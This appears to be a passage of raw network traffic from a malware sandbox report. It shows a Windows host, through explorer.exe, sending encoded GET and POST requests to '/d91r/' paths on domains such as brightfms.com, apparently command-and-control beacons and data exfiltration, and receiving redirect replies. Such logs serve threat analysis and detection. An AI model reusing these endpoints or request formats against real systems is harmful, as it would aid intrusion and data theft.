Mar 20, 2023 15:23:48.269131899 CET	1253	OUT	GET /d91r/?pO=Cz7EdLoZVVVFkl6Al85Fq2yKknQr9MrL8MY+iTrjKvcqeI67VNXHoBdgAYm0xOpsMAVI5pfYswEw4evz8uHbKlZcCugzfDdIKQ==&8H7gL=Bxcfm_qbbEGm HTTP/1.1 Host: www.texasgent.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Mar 20, 2023 15:23:48.288460970 CET	1254	IN	HTTP/1.1 200 OK accept-ch: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile cache-control: max-age=0, private, must-revalidate connection: close content-length: 610 content-type: text/html; charset=utf-8 date: Mon, 20 Mar 2023 14:23:47 GMT server: nginx set-cookie: sid=d44da958-c72a-11ed-b0b6-a57f91e313b1; path=/; domain=.texasgent.com; expires=Sat, 07 Apr 2091 17:37:55 GMT; max-age=2147483647; HttpOnly Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4c 6f 61 64 69 6e 67 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 70 6c 61 63 65 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 74 65 78 61 73 67 65 6e 74 2e 63 6f 6d 2f 64 39 31 72 2f 3f 38 48 37 67 4c 3d 42 78 63 66 6d 5f 71 62 62 45 47 6d 26 63 68 3d 31 26 6a 73 3d 65 79 4a 68 62 47 63 69 4f 69 4a 49 55 7a 49 31 4e 69 49 73 49 6e 52 35 63 43 49 36 49 6b 70 58 56 43 4a 39 2e 65 79 4a 68 64 57 51 69 4f 69 4a 4b 62 32 74 6c 62 69 49 73 49 6d 56 34 63 43 49 36 4d 54 59 33 4f 54 4d 79 4f 54 51 79 4f 43 77 69 61 57 46 30 49 6a 6f 78 4e 6a 63 35 4d 7a 49 79 4d 6a 49 34 4c 43 4a 70 63 33 4d 69 4f 69 4a 4b 62 32 74 6c 62 69 49 73 49 6d 70 7a 49 6a 6f 78 4c 43 4a 71 64 47 6b 69 4f 69 49 79 64 44 63 79 5a 47 46 78 5a 7a 4e 6e 62 33 49 32 4e 33 42 30 62 32 73 77 4f 47 35 6a 62 7a 67 69 4c 43 4a 75 59 6d 59 69 4f 6a 45 32 4e 7a 6b 7a 4d 6a 49 79 4d 6a 67 73 49 6e 52 7a 49 6a 6f 78 4e 6a 63 35 4d 7a 49 79 4d 6a 49 34 4d 6a 67 77 4f 44 67 33 66 51 2e 59 56 78 65 4e 50 58 63 35 34 71 56 72 67 41 68 4e 47 7a 44 6a 56 57 52 42 72 70 31 6b 7a 44 36 4d 32 62 54 6f 44 6d 6d 5a 4c 41 26 70 4f 3d 43 7a 37 45 64 4c 6f 5a 56 56 56 46 6b 6c 36 41 6c 38 35 46 71 32 79 4b 6b 6e 51 72 39 4d 72 4c 38 4d 59 2b 69 54 72 6a 4b 76 63 71 65 49 36 37 56 4e 58 48 6f 42 64 67 41 59 6d 30 78 4f 70 73 4d 41 56 49 35 70 66 59 73 77 45 77 34 65 76 7a 38 75 48 62 4b 6c 5a 63 43 75 67 7a 66 44 64 49 4b 51 25 33 44 25 33 44 26 73 69 64 3d 64 34 34 64 61 39 35 38 2d 63 37 32 61 2d 31 31 65 64 2d 62 30 62 36 2d 61 35 37 66 39 31 65 33 31 33 62 31 27 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Loading...</title></head><body><script type='text/javascript'>window.location.replace('http://www.texasgent.com/d91r/?8H7gL=Bxcfm_qbbEGm&ch=1&js=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJKb2tlbiIsImV4cCI6MTY3OTMyOTQyOCwiaWF0IjoxNjc5MzIyMjI4LCJpc3MiOiJKb2tlbiIsImpzIjoxLCJqdGkiOiIydDcyZGFxZzNnb3I2N3B0b2swOG5jbzgiLCJuYmYiOjE2NzkzMjIyMjgsInRzIjoxNjc5MzIyMjI4MjgwODg3fQ.YVxeNPXc54qVrgAhNGzDjVWRBrp1kzD6M2bToDmmZLA&pO=Cz7EdLoZVVVFkl6Al85Fq2yKknQr9MrL8MY+iTrjKvcqeI67VNXHoBdgAYm0xOpsMAVI5pfYswEw4evz8uHbKlZcCugzfDdIKQ%3D%3D&sid=d44da958-c72a-11ed-b0b6-a57f91e313b1');</script></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.11.20	49902	81.17.18.196	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:23:53.496880054 CET	1262	OUT	POST /d91r/ HTTP/1.1 Host: www.brightfms.com Connection: close Content-Length: 184 Cache-Control: no-cache Origin: http://www.brightfms.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.brightfms.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 4d 48 43 5f 4d 75 6c 5a 54 75 79 46 42 4b 6b 71 4e 57 77 75 5a 67 73 36 50 2d 73 48 54 38 51 50 44 5f 71 36 62 71 32 43 66 75 35 5a 61 61 70 4f 63 5f 53 6e 28 32 63 36 75 39 67 48 48 32 71 62 4f 62 53 5a 72 6e 51 6e 4c 6b 42 59 77 37 37 38 46 4f 69 64 37 33 62 31 65 34 39 6b 39 50 42 72 78 4e 42 73 55 39 4b 6d 67 36 45 51 53 35 61 62 36 46 39 6a 31 59 4d 76 65 35 35 37 79 6d 77 50 59 39 35 68 33 32 76 6f 38 51 43 6b 33 66 54 4f 38 71 4a 54 39 47 69 46 52 4a 6e 32 63 38 6a 6e 6e 4f 52 39 61 72 5a 47 5a 62 56 48 4d 7a 58 48 43 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=MHC_MulZTuyFBKkqNWwuZgs6P-sHT8QPD_q6bq2Cfu5ZaapOc_Sn(2c6u9gHH2qbObSZrnQnLkBYw778FOid73b1e49k9PBrxNBsU9Kmg6EQS5ab6F9j1YMve557ymwPY95h32vo8QCk3fTO8qJT9GiFRJn2c8jnnOR9arZGZbVHMzXHCQ).
Mar 20, 2023 15:23:53.516554117 CET	1262	IN	HTTP/1.1 302 Found cache-control: max-age=0, private, must-revalidate connection: close content-length: 11 date: Mon, 20 Mar 2023 14:23:53 GMT location: http://survey-smiles.com server: nginx set-cookie: sid=d76b1e86-c72a-11ed-bb42-5bbec2d6bcbc; path=/; domain=.brightfms.com; expires=Sat, 07 Apr 2091 17:38:00 GMT; max-age=2147483647; HttpOnly Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 Data Ascii: Redirecting

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.11.20	49903	81.17.18.196	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:23:56.032802105 CET	1264	OUT	POST /d91r/ HTTP/1.1 Host: www.brightfms.com Connection: close Content-Length: 524 Cache-Control: no-cache Origin: http://www.brightfms.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.brightfms.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 4d 48 43 5f 4d 75 6c 5a 54 75 79 46 62 71 30 71 42 58 77 75 62 41 74 49 45 65 73 48 5a 63 52 47 44 5f 32 36 62 72 79 53 66 63 74 5a 61 34 78 4f 64 37 47 6e 7e 32 63 36 6d 64 67 47 4b 57 72 32 4f 62 57 72 72 6d 73 6e 4c 6b 6c 59 78 4a 7a 38 55 65 69 65 6a 6e 62 36 62 49 39 6c 35 50 42 6c 78 4e 46 47 55 5f 32 6d 6a 4b 34 51 54 36 79 62 39 55 39 67 6d 6f 4d 74 57 5a 35 34 37 47 77 42 59 39 6b 55 33 79 6a 34 38 69 65 6b 79 4f 7a 4f 28 71 4a 53 31 32 69 34 4a 35 6e 69 52 5f 43 69 6f 6f 68 35 48 35 74 42 55 49 38 4d 50 43 7e 78 66 52 66 79 6e 50 6b 62 6c 67 6e 54 79 44 74 5a 28 55 73 71 76 63 74 67 55 61 71 43 57 56 7e 32 4f 65 6a 77 68 78 73 30 7e 57 6f 72 76 75 46 31 73 41 47 2d 67 63 62 68 6c 32 46 6c 37 6e 4d 66 4b 76 39 70 39 31 65 79 4e 59 49 62 69 30 42 47 46 75 42 38 41 46 4c 78 41 57 51 4d 73 77 56 4a 72 57 33 5a 48 61 66 66 76 54 6a 68 7e 69 52 4a 70 32 47 36 36 34 68 56 45 4f 39 34 4f 7a 70 30 31 62 4f 45 61 57 37 31 63 47 72 37 41 71 37 6c 31 54 6d 56 28 30 46 6a 38 36 54 38 28 50 50 48 64 4e 4e 66 7a 50 49 41 73 5a 45 4d 75 31 71 66 65 34 6b 41 70 39 6c 70 28 6e 52 44 54 51 28 6d 38 37 73 6e 63 55 6d 2d 66 4d 44 66 65 72 53 7a 35 6a 33 68 6a 55 59 58 73 32 4f 64 4a 4e 65 37 75 64 74 33 54 4c 35 33 48 5f 66 32 6b 4b 73 50 56 71 32 31 53 45 34 4e 64 6b 75 4e 78 47 55 42 4e 53 34 71 70 41 7a 4a 41 65 70 79 47 73 56 31 76 49 7e 45 67 49 62 56 59 31 6d 79 6b 5f 42 6f 59 67 6d 42 6d 56 4d 31 53 58 78 70 37 59 31 56 33 42 68 74 39 4f 56 65 64 72 75 75 42 33 4c 6b 4a 35 71 49 54 66 45 37 41 74 35 64 4a 51 36 6e 38 74 6f 79 34 6f 41 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=MHC_MulZTuyFbq0qBXwubAtIEesHZcRGD_26brySfctZa4xOd7Gn~2c6mdgGKWr2ObWrrmsnLklYxJz8Ueiejnb6bI9l5PBlxNFGU_2mjK4QT6yb9U9gmoMtWZ547GwBY9kU3yj48iekyOzO(qJS12i4J5niR_Ciooh5H5tBUI8MPC~xfRfynPkblgnTyDtZ(UsqvctgUaqCWV~2Oejwhxs0~WorvuF1sAG-gcbhl2Fl7nMfKv9p91eyNYIbi0BGFuB8AFLxAWQMswVJrW3ZHaffvTjh~iRJp2G664hVEO94Ozp01bOEaW71cGr7Aq7l1TmV(0Fj86T8(PPHdNNfzPIAsZEMu1qfe4kAp9lp(nRDTQ(m87sncUm-fMDferSz5j3hjUYXs2OdJNe7udt3TL53H_f2kKsPVq21SE4NdkuNxGUBNS4qpAzJAepyGsV1vI~EgIbVY1myk_BoYgmBmVM1SXxp7Y1V3Bht9OVedruuB3LkJ5qITfE7At5dJQ6n8toy4oA.
Mar 20, 2023 15:23:56.051561117 CET	1264	IN	HTTP/1.1 302 Found cache-control: max-age=0, private, must-revalidate connection: close content-length: 11 date: Mon, 20 Mar 2023 14:23:55 GMT location: http://survey-smiles.com server: nginx set-cookie: sid=d8ee139e-c72a-11ed-bdde-5bbe7f174539; path=/; domain=.brightfms.com; expires=Sat, 07 Apr 2091 17:38:03 GMT; max-age=2147483647; HttpOnly Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 Data Ascii: Redirecting

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.11.20	49904	81.17.18.196	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:23:58.564368010 CET	1275	OUT	POST /d91r/ HTTP/1.1 Host: www.brightfms.com Connection: close Content-Length: 51812 Cache-Control: no-cache Origin: http://www.brightfms.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.brightfms.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 4d 48 43 5f 4d 75 6c 5a 54 75 79 46 62 71 30 71 42 58 77 75 62 41 74 49 45 65 73 48 5a 63 52 47 44 5f 32 36 62 72 79 53 66 63 31 5a 61 72 35 4f 63 63 71 6e 39 32 63 36 6c 64 67 44 4b 57 72 4f 4f 62 75 76 72 6d 68 61 4c 6d 4e 59 77 62 4c 38 55 74 4b 65 32 58 62 33 55 6f 39 6a 39 50 42 78 78 4e 42 53 55 38 4b 51 67 36 4d 51 53 34 71 62 36 6a 42 6a 35 49 4d 76 57 5a 35 30 78 57 77 7a 59 39 78 50 33 7a 66 34 38 68 36 6b 78 64 62 4f 36 37 4a 53 34 47 69 37 54 4a 6e 6e 59 66 43 58 6f 75 4d 43 48 35 73 6a 55 4a 34 4d 50 42 32 78 65 51 66 74 6e 76 6b 62 71 77 6e 63 32 44 70 64 28 56 42 73 76 64 5a 67 55 5a 61 43 45 6c 7e 32 46 63 4c 7a 7a 52 73 79 31 32 70 79 6b 4f 35 74 73 41 54 48 67 65 58 68 6d 47 52 6c 35 57 4d 66 49 4f 39 70 68 6c 65 77 51 6f 4a 48 37 6b 42 61 46 71 6c 4f 41 42 33 4c 41 52 6f 4d 71 53 4e 4a 74 30 50 57 4f 61 66 56 79 6a 6a 30 6f 53 56 56 70 32 58 37 36 34 68 46 45 4b 6c 34 4f 41 68 30 6e 4f 36 44 5a 47 37 79 57 57 71 6a 4b 4b 33 76 31 54 36 4e 28 30 38 6d 38 39 72 38 39 76 50 48 59 73 4e 63 6d 76 49 4c 6a 35 45 53 71 31 71 49 65 34 67 74 70 38 78 54 7e 58 39 44 43 78 50 6d 72 37 73 67 4d 6b 6d 36 56 73 43 56 61 72 53 7a 35 6a 4b 51 6a 55 63 58 73 45 65 64 4a 36 36 37 6c 73 74 33 52 4c 35 39 48 5f 66 72 6b 4b 78 78 56 71 7e 4c 53 48 77 6e 64 68 65 4e 28 30 73 42 4d 54 34 74 35 41 79 42 57 75 6f 6b 5a 64 6f 7a 76 4a 53 4d 67 49 4c 46 59 46 4b 79 6c 5f 52 6f 50 77 6d 4f 30 6c 4e 5f 58 58 78 5f 77 34 4a 4a 33 42 39 62 39 50 68 4f 64 73 71 75 41 79 47 76 4f 5a 71 4f 42 50 49 6d 41 4e 39 72 49 54 61 58 68 50 63 51 6a 74 35 67 72 39 62 57 79 2d 57 56 28 72 30 59 58 53 69 2d 32 41 45 33 50 56 70 6a 44 6c 6f 55 76 76 79 6b 6b 59 32 42 4f 30 74 51 68 30 79 33 4f 58 6f 37 6b 72 57 33 4b 6e 69 35 71 37 57 54 77 7a 72 38 42 5a 78 6f 37 56 61 69 43 66 45 57 65 77 33 50 46 69 76 5a 64 50 51 74 61 35 65 67 4e 37 35 68 52 46 70 37 65 41 38 57 43 63 54 38 61 45 53 42 78 79 57 6d 34 37 71 72 6a 35 64 59 49 57 32 41 76 6f 79 45 50 72 37 67 4a 76 6b 73 31 42 67 6a 58 42 46 42 54 76 4c 67 46 47 6f 66 6e 6b 6d 39 37 39 78 33 35 71 51 52 74 2d 32 62 32 68 45 35 33 67 48 49 65 4a 49 71 39 4c 51 45 6d 45 61 73 51 43 76 72 31 75 53 4c 59 6c 6b 78 63 31 56 50 57 48 52 4a 35 61 72 6f 48 36 7e 54 52 70 31 66 45 6a 42 6c 43 55 31 62 51 78 63 77 7e 48 42 4c 4b 2d 6a 31 37 47 77 6c 61 59 79 72 74 46 70 62 4b 43 34 61 72 64 6d 32 4d 32 31 35 70 6f 72 36 43 2d 30 68 36 2d 6b 54 67 58 5a 39 37 31 58 79 42 79 55 31 33 2d 53 53 79 67 6c 62 70 69 59 36 66 57 6a 7a 38 62 4e 2d 43 49 6d 31 77 2d 35 37 6e 56 77 38 77 6e 76 59 64 31 33 73 73 34 6e 47 50 6a 6c 56 56 54 59 51 51 4a 48 71 52 76 56 6d 50 76 56 72 4e 79 42 42 61 32 6a 55 73 49 50 7a 74 6f 43 74 47 48 64 39 6d 6e 5a 36 69 35 5a 63 70 7a 4d 5f 4c 39 42 4b 48 4b 74 6c 48 35 70 2d 7e 6a 66 61 6d 74 42 69 72 73 49 77 33 41 34 77 51 5a 46 33 6c 77 52 67 54 45 7a 2d 6f 30 70 4e 79 71 4c 75 42 38 4d 63 4f 57 36 51 38 39 58 47 57 75 69 65 35 52 4b 68 53 52 75 44 6a 30 72 5a 42 4a 78 32 77 59 6f 6e 38 33 7e 66 51 6c 6c 2d 4d 41 72 4b 38 6c 48 44 36 6c 61 6d 50 79 61 52 59 4a 57 4f 35 54 62 56 76 50 6a 75 61 70 6c 59 48 62 5a 7a 49 4d 4a 33 6e 65 76 50 39 5a 61 76 6a 71 33 7a 42 61 7e 5f 63 43 7e 6c 57 74 4d 6b 59 7a 74 2d 65 61 71 52 7e 42 65 76 78 52 56 68 28 57 49 69 6f 52 68 4a 39 5a 51 74 44 79 57 71 47 67 49 69 4e 51 6b 34 7a 42 4d 61 70 68 44 61 7e 5a 4a 45 33 50 44 51 41 6e 4d 4d 28 2d 6a 37 74 47 65 5a 4d 6b 75 55 6e 6f 37 65 74 76 6a 79 4d 69 35 79 79 37 30 66 33 4b 51 64 6a 5f 28 79 54 44 42 56 4f 2d 51 55 52 65 57 47 44 72 33 34 49 42 4b 76 59 51 48 39 38 73 34 6f 4e 73 45 5a 44 57 74 6c 31 36 65 36 6b 5f 42 32 72 48 46 4d 46 39 7e 72 51 47 35 77 30 65 51 31 58 50 6e 6f 67 35 66 52 34 4d 63 6c 34 4d 6b 68 37 31 48 39 50 71 6e 59 69 72 74 37 4a 2d 31 32 62 69 4b 57 6c 38 42 5a 67 4b 6f 4b 65 59 6a 6e 72 75 4f 69 30 5a 6a 67 71 6f 33 79 79 37 68 4f 77 35 6c 50 56 58 75 45 39 62 35 76 33 6b 76 68 41 6f 4b 65 61 6d 46 4e 55 39 6e 77 55 2d 4a 38 38 72 7a 4e 4f 31 5a 4e 71 56 56 4a 78 63 4f 45 31 69 77 2d 72 73 63 6a 42 58 47 50 70 48 4d 75 77 6d 7e 35 6c 68 50 74 70 4c 35 52 Data Ascii: pO=MHC_MulZTuyFbq0qBXwubAtIEesHZcRGD_26brySfc1Zar5Occqn92c6ldgDKWrOObuvrmhaLmNYwbL8UtKe2Xb3Uo9j9PBxxNBSU8KQg6MQS4qb6jBj5IMvWZ50xWwzY9xP3zf48h6kxdbO67JS4Gi7TJnnYfCXouMCH5sjUJ4MPB2xeQftnvkbqwnc2Dpd(VBsvdZgUZaCEl~2FcLzzRsy12pykO5tsATHgeXhmGRl5WMfIO9phlewQoJH7kBaFqlOAB3LARoMqSNJt0PWOafVyjj0oSVVp2X764hFEKl4OAh0nO6DZG7yWWqjKK3v1T6N(08m89r89vPHYsNcmvILj5ESq1qIe4gtp8xT~X9DCxPmr7sgMkm6VsCVarSz5jKQjUcXsEedJ667lst3RL59H_frkKxxVq~LSHwndheN(0sBMT4t5AyBWuokZdozvJSMgILFYFKyl_RoPwmO0lN_XXx_w4JJ3B9b9PhOdsquAyGvOZqOBPImAN9rITaXhPcQjt5gr9bWy-WV(r0YXSi-2AE3PVpjDloUvvykkY2BO0tQh0y3OXo7krW3Kni5q7WTwzr8BZxo7VaiCfEWew3PFivZdPQta5egN75hRFp7eA8WCcT8aESBxyWm47qrj5dYIW2AvoyEPr7gJvks1BgjXBFBTvLgFGofnkm979x35qQRt-2b2hE53gHIeJIq9LQEmEasQCvr1uSLYlkxc1VPWHRJ5aroH6~TRp1fEjBlCU1bQxcw~HBLK-j17GwlaYyrtFpbKC4ardm2M215por6C-0h6-kTgXZ971XyByU13-SSyglbpiY6fWjz8bN-CIm1w-57nVw8wnvYd13ss4nGPjlVVTYQQJHqRvVmPvVrNyBBa2jUsIPztoCtGHd9mnZ6i5ZcpzM_L9BKHKtlH5p-~jfamtBirsIw3A4wQZF3lwRgTEz-o0pNyqLuB8McOW6Q89XGWuie5RKhSRuDj0rZBJx2wYon83~fQll-MArK8lHD6lamPyaRYJWO5TbVvPjuaplYHbZzIMJ3nevP9Zavjq3zBa~_cC~lWtMkYzt-eaqR~BevxRVh(WIioRhJ9ZQtDyWqGgIiNQk4zBMaphDa~ZJE3PDQAnMM(-j7tGeZMkuUno7etvjyMi5yy70f3KQdj_(yTDBVO-QUReWGDr34IBKvYQH98s4oNsEZDWtl16e6k_B2rHFMF9~rQG5w0eQ1XPnog5fR4Mcl4Mkh71H9PqnYirt7J-12biKWl8BZgKoKeYjnruOi0Zjgqo3yy7hOw5lPVXuE9b5v3kvhAoKeamFNU9nwU-J88rzNO1ZNqVVJxcOE1iw-rscjBXGPpHMuwm~5lhPtpL5R4rrrASA7sdL2Ii62tKuZ8lMIuM9O31pk6vuFsMb7VsB565V3yVmv5qT0u1nELDQdJt3Bgvp810jWdtL8BWosJCFTyocbf7HDzqeTLByrNhpZu61jnc3yuQcEuE4FaT4R1M4xc7qfWpB54H(Mr_Kx9ZKX9nOStyAvAgVo1zFk1DMblkE8JPFThXQhqjQG4Ch6GleRydrMLz0GyJeq6GG3~4SyapKwdduN8wnz7sHWQ_1Rf6vBQcXT8Khc2p~ifaLLnGik2FCwVz2lTm7MUrx35frTd8mm4AveVBCBE4m9h-2EnNdSvFHzXAQqP3~hQia5xezFP4wTV_BUiKOo5jSovkGnPyiNqTjhne9qVov24dzmmsfikKioDdxITnH-Fw4HWsmBfEq3bNSs5p~vez0fBaewdiNwxQT27rbNNuvTwBNAceS3yuQrcleogvHLh3wd(B1q0p~HXzbCpMXgXgEsdBBEP_BlOuiUM4C_QSHujH(4b-OM2RsLbnYiqCQgWRBNRRv1k2yUKgjxGGbKWiv-hcmKA2s1ARvg7BnkgOVHFfTn3hkooVSLK5XrqIjxSxQkLOKtEILxMPtqEmaptWmT6_GNgIiw4VW_MqkHHvHzS2BOScgumyFNtJP_AfLxy_zRNhwq0um8cqYHwjpGZ59Uh8bcjMTiX9CTSWX_~ijvDXIeQYuGKwpLFUi09_2yOSRLwc8CfxyJe0jDPuYtLhDh2cbfrZrJSfimjF0sibYALAIRLimkm4odm0XtfZ0PkDPv4baYDdRaZZjKI76GRa7LzsOUysMyNCkWzw~4Ld(V2JJ_F8BurRCpAwsgfBQfNXWUEzicAeSp9cWCuyEdYU7XbFdK8BZnDH2J67XTXimi8huDGHRHM7xTuD3BTCHZybLLXx7HJHGJwaWWQ_YDMv8oU7fZHI5hMdkrei2ZTDRxnyK8lethZ3VxI6Ej36N8SsWujIYCthrzMi7EXSjAAb2_yw~CJmLWz696ftl1ivLq0_ZhSFxd3asm4T9eIgNqo86JDI~eFhHPsHtwF4gcVliI~4SJM2SDn64trSfiA8t3TqfirvYOGpEj9wI-Zu6qneb9wpyc6slu~S6LAAABOnee1Gmm23r6BjEVyzBbLwBJErVwK62oFDqiLNObLSwAaTEe6JXbzYtMwcC7leoNcg37rurw~5nttwoVxPu6ETEDy6Gu5ew3SfiUo1SjztnWv0tePN2AvQ7a3NJG6lGkdzID9F~UoIvy4CM4h51SkO8ROnUj7YZ3I7b6UpWLwok5hutZ561VjOjTbocV(5XmoJt57vOQcyAwEf1mRbWotO9SFi(RkT8rSleQD6OOr-RmG_MW3mJ2suzi6DL17YjIA-66KTI0H22MSFFko0Z7TmG72vOo~qj7yxIEyhIheS2NLPrhdQu2dtNEhjhK2EAekXeJ3vQ1RtEzwGHkj7Kpx-RF0xGH(h0ekYExC2(KVuU1q5K7y0IjfYHYCRk8Wo3iBh8JzJjGsbqlqfThFcCztDMFbnkDt0Y4Gyx2xxscX25yZC746qSYZZhaB-06nFA36b9bMVpE4-U-JGqdAhezk3uthU1p0fD3(0DBXOvw7LSSShgklHJ-qyugYRFo5quiIwTRqMdpw13U1nlx4Jas5DC5hIl8aQU51FYJj7MQZqadvDlchfMCDE7rbKIYWf5m0AT89VxfFOrDPq(rfKxs5La-MOXccXW07O54KCJafBG1QJlcAXbYzPDCi-boeTaMBTU4GiZaiP~1hqibYHJpWaTaLSnWWiuYbg8ItM(m9Amqt5ZxH-LjqVGrzBm9(mOjZ-Xs7U72s4pIiShATrzko91j7VElykZqbq6R79e1xE7yOXUtmYX5Sr9f8loyi-TPsN9ZhK71JFW2Z4FxTtdd3-RfT-YzgUZYjXkjH9(Fl65rZsx9(PeXyqstd4HD4LPV5RpTV94b6RMR~Sy_Vl5FO1(2dJSkWj2dDLnG3iok1sq2VRABvzAjaUW5b0xldzHiDEG9qQQWcvtfgW9DfjpqGz8xZtn2B18ElatkunX9mA3HG1JL6VEqiSazbOg3iROaoNh2sHCT3ZMcTQaU~zOnVf39pim4ynpU5POLhOFuVAohyVi20n3LBd4ULH(fZXdC7OiJ1xW6Y08enYLJ5QZDOPGJLwjLB8MKFsiLg2VrlZPOJFa3~dTwF5v9k9cI2SFMHYnIMgzhbobUq84a~3PDWqS9T_YEyrySyWBzue3BgBbUilUVQwG9F0AlwkukjreblV9m(24dSXeuipj6pHfzYDM_IUazgMMpObrvA0Q4~elW~M6lNl3MmvofG4tPFbjyr3nh64rN9eHnxHZePQs91WvhBiS1tj4LoCsw27lyFC6VtdbW4u6TuQylLeFqFN8NujIcauZXYLP9tub4auss2bKEh6gBROuDG1hByTWYeeXNMIF-4ib9DQORTbiL8YM8dE2yO0Kz0bVDIAN875rVX315HgRtQkEp27vd0lYZDG7LReb952SS1ZCBXZQRhfBuNieKXyeFz3xTvUdIfFeo9tAuv0(oXhHjVoUEMnebyOAnZxttwPrRAYJb6uN8Q9NcyDNYbeuLGpFSJPHS94wbcBkfw9t_p_N9D-pK8Qt8xniYugCYtN~PitTvjp(5EcqTl94vXFwPu-lxc0JxJiHNvAPFLmf6FxkArS8ia580k3WeyKBDp-ScUAspTNCYBuskYO1nLzghQ4yyodIFliD
Mar 20, 2023 15:23:58.564461946 CET	1277	OUT	Data Raw: 42 4e 61 65 30 44 43 7a 6a 61 6e 35 59 38 79 66 4c 78 77 54 51 67 49 55 33 50 44 66 52 51 6e 4c 34 46 66 65 6b 4a 44 64 53 33 6d 69 31 49 6a 6b 4a 72 55 59 55 69 57 54 75 5a 63 75 48 43 74 56 41 77 58 6e 6a 41 49 79 4d 6e 4a 44 50 79 49 75 7e 67 Data Ascii: BNae0DCzjan5Y8yfLxwTQgIU3PDfRQnL4FfekJDdS3mi1IjkJrUYUiWTuZcuHCtVAwXnjAIyMnJDPyIu~gdeCQ8p1oeQ29puCDyNDfVQ(varTT(QKzMUKrISzCNfNWSmjtTLrP2Lj9tRJpBLON(bLodr0xtY9UlBiO9i9Py8ur5-(9KCH_rTbPyK4kQHa9qHiTg83RNt1hAM2cGA5kK9DPu8Vj3a1mrC(wAtwelSbXrcVTSWHWJ
Mar 20, 2023 15:23:58.576875925 CET	1280	OUT	Data Raw: 30 6a 57 57 4f 6b 44 4e 41 52 7a 65 5a 53 65 58 6f 79 67 66 38 6d 6b 78 68 6d 67 4d 66 35 43 57 6b 79 59 4f 45 32 48 75 4d 74 65 67 33 4a 49 6a 4a 34 64 34 32 4a 65 51 47 43 45 74 4b 50 55 45 51 49 5a 4c 55 6c 7a 46 52 75 78 31 45 42 57 63 31 79 Data Ascii: 0jWWOkDNARzeZSeXoygf8mkxhmgMf5CWkyYOE2HuMteg3JIjJ4d42JeQGCEtKPUEQIZLUlzFRux1EBWc1yG9(tlI01kVPfwVi3DAQr(yY40ZrrqnoyAQnpimCEAh31twxpqln5NXov(OeAF8w4OOcGVGna3ycfOPb_VoPgSLof2CQjVhkrVAP1WZfe6SEiXHKbjqfQMJ4oEUVEk7whDr2hWKqLhvi-bfJafyHFbWF8VJFvqsKWB
Mar 20, 2023 15:23:58.577064037 CET	1285	OUT	Data Raw: 67 51 36 77 68 5a 57 75 63 49 76 54 49 42 36 47 30 52 66 56 65 64 47 33 28 72 77 55 6f 34 38 52 37 55 62 35 75 66 39 44 72 57 64 52 7a 55 79 30 69 57 62 2d 58 54 4e 6c 66 41 46 6c 44 6b 34 55 36 4c 6c 55 64 75 70 59 49 54 4b 7a 74 42 35 31 59 70 Data Ascii: gQ6whZWucIvTIB6G0RfVedG3(rwUo48R7Ub5uf9DrWdRzUy0iWb-XTNlfAFlDk4U6LlUdupYITKztB51Ypvzr8pB7pgUbIAh7V(nEKHFwIttLyqO61snpEcGwrPa4Oa6IYjFAxK6kfoJWKNzU9zkNJYnpLlqw43q9sp7(X~jNsIzkA66u8pIjFBd8fNrDjZs7XHrEdfQT06-wIBRTNXbr1b7o6HWMFOppAa3oQpdUpEXzDiHMUK
Mar 20, 2023 15:23:58.577271938 CET	1286	OUT	Data Raw: 6b 37 6c 61 4a 5a 7e 5f 6a 6a 4c 43 62 4b 33 57 59 6b 4c 77 41 4c 75 50 4b 33 4c 38 54 31 63 57 57 47 38 54 5a 4a 62 30 51 48 6d 69 38 2d 35 42 4e 41 42 30 68 53 42 45 4e 66 4a 51 72 41 73 7a 43 68 4f 6e 5a 5a 74 55 73 5f 4e 54 37 59 79 66 72 72 Data Ascii: k7laJZ~_jjLCbK3WYkLwALuPK3L8T1cWWG8TZJb0QHmi8-5BNAB0hSBENfJQrAszChOnZZtUs_NT7YyfrrINA9IisYPMMSUzi71WjccHA8DIqb~mVFrx384Ob-tdBS4b8N8J~9Z30vxLfIsWouqH6TV8BM238dRBY4LojJYaE5fP2GZ92GAkLCK3b_Cf36pG8X7V77(5n2vX9mxmMKBx5QMYt9yxi2fGOgkoddB-L_2qm-i3RYp
